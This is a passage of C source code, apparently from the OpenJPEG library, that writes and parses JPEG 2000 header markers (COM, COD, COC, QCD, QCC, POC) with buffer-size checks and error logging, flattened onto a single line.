p_j2k->m_cp.comment; l_comment_size = (OPJ_UINT32)strlen(l_comment); l_total_com_size = l_comment_size + 6; if (l_total_com_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_total_com_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write the COM marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_total_com_size; } l_current_ptr = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_ptr, J2K_MS_COM, 2); /* COM */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_total_com_size - 2, 2); /* L_COM */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, 1, 2); /* General use (IS 8859-15:1999 (Latin) values) */ l_current_ptr += 2; memcpy(l_current_ptr, l_comment, l_comment_size); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_total_com_size, p_manager) != l_total_com_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a COM marker (comments) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_com(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_header_data); OPJ_UNUSED(p_header_size); OPJ_UNUSED(p_manager); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_cod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_code_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_code_size = 9 + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, 0); l_remaining_size = l_code_size; if (l_code_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_code_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write COD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_code_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_COD, 2); /* COD */ l_current_data += 2; opj_write_bytes(l_current_data, l_code_size - 2, 2); /* L_COD */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->csty, 1); /* Scod */ ++l_current_data; opj_write_bytes(l_current_data, (OPJ_UINT32)l_tcp->prg, 1); /* SGcod (A) */ ++l_current_data; opj_write_bytes(l_current_data, l_tcp->numlayers, 2); /* SGcod (B) */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->mct, 1); /* SGcod (C) */ ++l_current_data; l_remaining_size -= 9; if (! opj_j2k_write_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error writing COD marker\n"); return OPJ_FALSE; } if (l_remaining_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error writing COD marker\n"); return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_code_size, p_manager) != l_code_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a COD marker (Coding Styke defaults) * @param p_header_data the data contained in the COD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cod(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* loop */ OPJ_UINT32 i; OPJ_UINT32 l_tmp; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_image_t *l_image = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_cp = &(p_j2k->m_cp); /* If we are in the first tile-part header of the current tile */ l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* Only one COD per tile */ if (l_tcp->cod) { opj_event_msg(p_manager, EVT_ERROR, "COD marker already read. No more than one COD marker per tile.\n"); return OPJ_FALSE; } l_tcp->cod = 1; /* Make sure room is sufficient */ if (p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tcp->csty, 1); /* Scod */ ++p_header_data; /* Make sure we know how to decode this */ if ((l_tcp->csty & ~(OPJ_UINT32)(J2K_CP_CSTY_PRT | J2K_CP_CSTY_SOP | J2K_CP_CSTY_EPH)) != 0U) { opj_event_msg(p_manager, EVT_ERROR, "Unknown Scod value in COD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 1); /* SGcod (A) */ ++p_header_data; l_tcp->prg = (OPJ_PROG_ORDER) l_tmp; /* Make sure progression order is valid */ if (l_tcp->prg > OPJ_CPRL) { opj_event_msg(p_manager, EVT_ERROR, "Unknown progression order in COD marker\n"); l_tcp->prg = OPJ_PROG_UNKNOWN; } opj_read_bytes(p_header_data, &l_tcp->numlayers, 2); /* SGcod (B) */ p_header_data += 2; if ((l_tcp->numlayers < 1U) || (l_tcp->numlayers > 65535U)) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of layers in COD marker : %d not in range [1-65535]\n", l_tcp->numlayers); return OPJ_FALSE; } /* If user didn't set a number layer to decode take the max specify in the codestream. */ if (l_cp->m_specific_param.m_dec.m_layer) { l_tcp->num_layers_to_decode = l_cp->m_specific_param.m_dec.m_layer; } else { l_tcp->num_layers_to_decode = l_tcp->numlayers; } opj_read_bytes(p_header_data, &l_tcp->mct, 1); /* SGcod (C) */ ++p_header_data; p_header_size -= 5; for (i = 0; i < l_image->numcomps; ++i) { l_tcp->tccps[i].csty = l_tcp->csty & J2K_CCP_CSTY_PRT; } if (! opj_j2k_read_SPCod_SPCoc(p_j2k, 0, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } /* Apply the coding style to other components of the current tile or the m_default_tcp*/ opj_j2k_copy_tile_component_parameters(p_j2k); /* Index */ #ifdef WIP_REMOVE_MSD if (p_j2k->cstr_info) { /*opj_codestream_info_t *l_cstr_info = p_j2k->cstr_info;*/ p_j2k->cstr_info->prog = l_tcp->prg; p_j2k->cstr_info->numlayers = l_tcp->numlayers; p_j2k->cstr_info->numdecompos = (OPJ_INT32*) opj_malloc( l_image->numcomps * sizeof(OPJ_UINT32)); if (!p_j2k->cstr_info->numdecompos) { return OPJ_FALSE; } for (i = 0; i < l_image->numcomps; ++i) { p_j2k->cstr_info->numdecompos[i] = l_tcp->tccps[i].numresolutions - 1; } } #endif return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_coc_size, l_remaining_size; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_comp_room = (p_j2k->m_private_image->numcomps <= 256) ? 1 : 2; l_coc_size = 5 + l_comp_room + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); if (l_coc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data; /*p_j2k->m_specific_param.m_encoder.m_header_tile_data = (OPJ_BYTE*)opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size);*/ new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write COC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_coc_size; } opj_j2k_write_coc_in_memory(p_j2k, p_comp_no, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_remaining_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size, p_manager) != l_coc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_compare_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; if (l_tcp->tccps[p_first_comp_no].csty != l_tcp->tccps[p_second_comp_no].csty) { return OPJ_FALSE; } return opj_j2k_compare_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, p_first_comp_no, p_second_comp_no); } static void opj_j2k_write_coc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_coc_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; opj_image_t *l_image = 00; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_image = p_j2k->m_private_image; l_comp_room = (l_image->numcomps <= 256) ? 1 : 2; l_coc_size = 5 + l_comp_room + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_remaining_size = l_coc_size; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_COC, 2); /* COC */ l_current_data += 2; opj_write_bytes(l_current_data, l_coc_size - 2, 2); /* L_COC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, l_comp_room); /* Ccoc */ l_current_data += l_comp_room; opj_write_bytes(l_current_data, l_tcp->tccps[p_comp_no].csty, 1); /* Scoc */ ++l_current_data; l_remaining_size -= (5 + l_comp_room); opj_j2k_write_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager); * p_data_written = l_coc_size; } static OPJ_UINT32 opj_j2k_get_max_coc_size(opj_j2k_t *p_j2k) { OPJ_UINT32 i, j; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max = 0; /* preconditions */ l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th ; l_nb_comp = p_j2k->m_private_image->numcomps; for (i = 0; i < l_nb_tiles; ++i) { for (j = 0; j < l_nb_comp; ++j) { l_max = opj_uint_max(l_max, opj_j2k_get_SPCod_SPCoc_size(p_j2k, i, j)); } } return 6 + l_max; } /** * Reads a COC marker (Coding Style Component) * @param p_header_data the data contained in the COC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_coc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_image_t *l_image = NULL; OPJ_UINT32 l_comp_room; OPJ_UINT32 l_comp_no; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_image = p_j2k->m_private_image; l_comp_room = l_image->numcomps <= 256 ? 1 : 2; /* make sure room is sufficient*/ if (p_header_size < l_comp_room + 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } p_header_size -= l_comp_room + 1; opj_read_bytes(p_header_data, &l_comp_no, l_comp_room); /* Ccoc */ p_header_data += l_comp_room; if (l_comp_no >= l_image->numcomps) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker (bad number of components)\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tcp->tccps[l_comp_no].csty, 1); /* Scoc */ ++p_header_data ; if (! opj_j2k_read_SPCod_SPCoc(p_j2k, l_comp_no, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_qcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcd_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_qcd_size = 4 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, 0); l_remaining_size = l_qcd_size; if (l_qcd_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcd_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write QCD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_qcd_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_QCD, 2); /* QCD */ l_current_data += 2; opj_write_bytes(l_current_data, l_qcd_size - 2, 2); /* L_QCD */ l_current_data += 2; l_remaining_size -= 4; if (! opj_j2k_write_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error writing QCD marker\n"); return OPJ_FALSE; } if (l_remaining_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error writing QCD marker\n"); return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcd_size, p_manager) != l_qcd_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a QCD marker (Quantization defaults) * @param p_header_data the data contained in the QCD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); if (! opj_j2k_read_SQcd_SQcc(p_j2k, 0, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCD marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCD marker\n"); return OPJ_FALSE; } /* Apply the quantization parameters to other components of the current tile or the m_default_tcp */ opj_j2k_copy_tile_quantization_parameters(p_j2k); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcc_size, l_remaining_size; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_qcc_size = 5 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_qcc_size += p_j2k->m_private_image->numcomps <= 256 ? 0 : 1; l_remaining_size = l_qcc_size; if (l_qcc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write QCC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_qcc_size; } opj_j2k_write_qcc_in_memory(p_j2k, p_comp_no, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_remaining_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcc_size, p_manager) != l_qcc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_compare_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { return opj_j2k_compare_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, p_first_comp_no, p_second_comp_no); } static void opj_j2k_write_qcc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcc_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); l_qcc_size = 6 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_remaining_size = l_qcc_size; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_QCC, 2); /* QCC */ l_current_data += 2; if (p_j2k->m_private_image->numcomps <= 256) { --l_qcc_size; opj_write_bytes(l_current_data, l_qcc_size - 2, 2); /* L_QCC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, 1); /* Cqcc */ ++l_current_data; /* in the case only one byte is sufficient the last byte allocated is useless -> still do -6 for available */ l_remaining_size -= 6; } else { opj_write_bytes(l_current_data, l_qcc_size - 2, 2); /* L_QCC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, 2); /* Cqcc */ l_current_data += 2; l_remaining_size -= 6; } opj_j2k_write_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, p_comp_no, l_current_data, &l_remaining_size, p_manager); *p_data_written = l_qcc_size; } static OPJ_UINT32 opj_j2k_get_max_qcc_size(opj_j2k_t *p_j2k) { return opj_j2k_get_max_coc_size(p_j2k); } /** * Reads a QCC marker (Quantization component) * @param p_header_data the data contained in the QCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_num_comp, l_comp_no; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_num_comp = p_j2k->m_private_image->numcomps; if (l_num_comp <= 256) { if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_comp_no, 1); ++p_header_data; --p_header_size; } else { if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_comp_no, 2); p_header_data += 2; p_header_size -= 2; } #ifdef USE_JPWL if (p_j2k->m_cp.correct) { static OPJ_UINT32 backup_compno = 0; /* compno is negative or larger than the number of components!!! */ if (/*(l_comp_no < 0) ||*/ (l_comp_no >= l_num_comp)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad component number in QCC (%d out of a maximum of %d)\n", l_comp_no, l_num_comp); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_comp_no = backup_compno % l_num_comp; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting component number to %d\n", l_comp_no); } /* keep your private count of tiles */ backup_compno++; }; #endif /* USE_JPWL */ if (l_comp_no >= p_j2k->m_private_image->numcomps) { opj_event_msg(p_manager, EVT_ERROR, "Invalid component number: %d, regarding the number of components %d\n", l_comp_no, p_j2k->m_private_image->numcomps); return OPJ_FALSE; } if (! opj_j2k_read_SQcd_SQcc(p_j2k, l_comp_no, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_poc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_poc; OPJ_UINT32 l_poc_size; OPJ_UINT32 l_written_size = 0; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_poc_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]; l_nb_comp = p_j2k->m_private_image->numcomps; l_nb_poc = 1 + l_tcp->numpocs; if (l_nb_comp <= 256) { l_poc_room = 1; } else { l_poc_room = 2; } l_poc_size = 4 + (5 + 2 * l_poc_room) * l_nb_poc; if (l_poc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_poc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write POC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_poc_size; } opj_j2k_write_poc_in_memory(p_j2k, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_written_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_poc_size, p_manager) != l_poc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static void opj_j2k_write_poc_in_memory(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_poc; OPJ_UINT32 l_poc_size; opj_image_t *l_image = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; opj_poc_t *l_current_poc = 00; OPJ_UINT32 l_poc_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_manager); l_tcp = &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]; l_tccp = &l_tcp->tccps[0]; l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; l_nb_poc = 1 + l_tcp->numpocs; if (l_nb_comp <= 256) { l_poc_room = 1; } else { l_poc_room = 2; } l_poc_size = 4 + (5 + 2 * l_poc_room) * l_nb_poc; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_POC, 2); /* POC */ l_current_data += 2; opj_write_bytes(l_current_data, l_poc_size - 2, 2); /* Lpoc */ l_current_data += 2; l_current_poc = l_tcp->pocs; for (i = 0; i < l_nb_poc; ++i) { opj_write_bytes(l_current_data, l_current_poc->resno0, 1); /* RSpoc_i */ ++l_current_data; opj_write_bytes(l_current_data, l_current_poc->compno0, l_poc_room); /* CSpoc_i */ l_current_data += l_poc_room; opj_write_bytes(l_current_data, l_current_poc->layno1, 2); /* LYEpoc_i */ l_current_data += 2; opj_write_bytes(l_current_data, l_current_poc->resno1, 1); /* REpoc_i */ ++l_current_data; opj_write_bytes(l_current_data, l_current_poc->compno1, l_poc_room); /* CEpoc_i */ l_current_data += l_poc_room; opj_write_bytes(l_current_data, (OPJ_UINT32)l_current_poc->prg, 1); /* Ppoc_i */ ++l_current_data; /* change the value of the max layer according to the actual number of layers in the file, components and resolutions*/ l_current_poc->layno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->layno1, (OPJ_INT32)l_tcp->numlayers); l_current_poc->resno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->resno1, (OPJ_INT32)l_tccp->numresolutions); l_current_poc->compno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->compno1, (OPJ_INT32)l_nb_comp); ++l_current_poc; } *p_data_written = l_poc_size; } static OPJ_UINT32 opj_j2k_get_max_poc_size(opj_j2k_t *p_j2k) { opj_tcp_t * l_tcp = 00; OPJ_UINT32 l_nb_tiles = 0; OPJ_UINT32 l_max_poc = 0; OPJ_UINT32 i; l_tcp = p_j2k->m_cp.tcps; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; for (i = 0; i < l_nb_tiles; ++i) { l_max_poc = opj_uint_max(l_max_poc, l_tcp->numpocs); ++l_tcp; } ++l_max_poc; return 4 + 9 * l_max_poc; } static OPJ_UINT32 opj_j2k_get_max_toc_size(opj_j2k_t *p_j2k) { OPJ_UINT32 i; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max = 0; opj_tcp_t * l_tcp = 00; l_tcp = p_j2k->m_cp.tcps; l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th ; for (i = 0; i < l_nb_tiles; ++i) { l_max = opj_uint_max(l_max, l_tcp->m_nb_tile_parts); ++l_tcp; } return 12 * l_max; } static OPJ_UINT32 opj_j2k_get_specific_header_sizes(opj_j2k_t *p_j2k) { OPJ_UINT32 l_nb_bytes = 0; OPJ_UINT32 l_nb_comps; OPJ_UINT32 l_coc_bytes, l_qcc_bytes; l_nb_comps = p_j2k->m_private_image->numcomps - 1; l_nb_bytes += opj_j2k_get_max_toc_size(p_j2k); if (!(OPJ_IS_CINEMA(p_j2k->m_cp.rsiz))) { l_coc_bytes = opj_j2k_get_max_coc_size(p_j2k); l_nb_bytes += l_nb_comps * l_coc_bytes; l_qcc_bytes = opj_j2k_get_max_qcc_size(p_j2k); l_nb_bytes += l_nb_comps * l_qcc_bytes; } l_nb_bytes += opj_j2k_get_max_poc_size(p_j2k); /*** DEVELOPER CORNER, Add room for your headers ***/ return l_nb_bytes; } /** * Reads a POC marker (Progression Order Change) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_poc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i, l_nb_comp, l_tmp; opj_image_t * l_image = 00; OPJ_UINT32 l_old_poc_nb, l_current_poc_nb, l_current_poc_remaining; OPJ_UINT32 l_chunk_size, l_comp_room; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_poc_t *l_current_poc = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; if (l_nb_comp <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } 